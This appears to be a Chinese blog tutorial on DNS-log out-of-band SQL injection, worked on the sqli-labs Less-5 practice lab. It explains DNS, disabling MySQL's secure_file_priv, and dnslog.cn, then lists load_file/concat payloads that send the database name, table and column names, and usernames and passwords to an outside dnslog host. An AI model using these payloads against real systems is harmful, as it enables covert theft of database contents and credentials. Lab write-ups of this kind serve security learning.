DNS注入

Posted NObugNomoney

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DNS注入相关的知识,希望对你有一定的参考价值。

1.我们首先要知道什么是DNS:
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)

2.要开启sql中的服务:
在配置文件my.ini中
如果secure_file_priv不为空,改为空
如果不存在,加上去并保存,然后重启mysql服务即可


3.我们可以访问http://www.dnslog.cn/去自己生成一个域名:
我们试着自己去访问http://smile.hravfz.dnslog.cn时:
会在日志上留下访问的记录。

4下面介绍load_file()函数:
关于mysql load_file()函数:
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
LOAD_FILE(file_name)
其中file_name是文件的完整路径。
这个函数也可以用来发送dns解析请求,这就是关键
load_file()使用限制:
1.文件必须位于服务器主机上。
2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的。
3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节。

5。Sqlilab-05s:dns用来获取盲注的结果:
此题目没有回显的信息,为盲注,若是进行手动会耗费大量的时间,可以通过load_file()发送DNS请求去在DNS上留下日志


构造playloads:
• 查询数据库的版本:

127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(’\\\\’,(select database()),’.ahgpow.dnslog.cn\\123’)) ,2,3 --+


数据库为security;
• 然后去查表:

127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(’\\\\’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),’.tdwu21.dnslog.cn\\123’)) ,2,3 --+

然而并没有反应,因为域名长度太长,不能超过63位

127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\\\",(select group_concat(table_name SEPARATOR’-’) from information_schema.tables where table_schema=‘security’ ),".tdwu21.dnslog.cn\\xxx.txt")) --+


• 查列:

127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\\\",(select group_concat(column_name SEPARATOR’-’) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),".
tdwu21.dnslog.cn\\xxx.txt")) --+


• 查数据:

127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\\\",(select group_concat(username,password) from security.users),".
tdwu21.dnslog.cn\\xxx.txt")) --+

以上是关于DNS注入的主要内容,如果未能解决你的问题,请参考以下文章

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

DNS 注入教程

Android 片段和依赖注入

spring练习,在Eclipse搭建的Spring开发环境中,使用set注入方式,实现对象的依赖关系,通过ClassPathXmlApplicationContext实体类获取Bean对象(代码片段

Android片段和依赖注入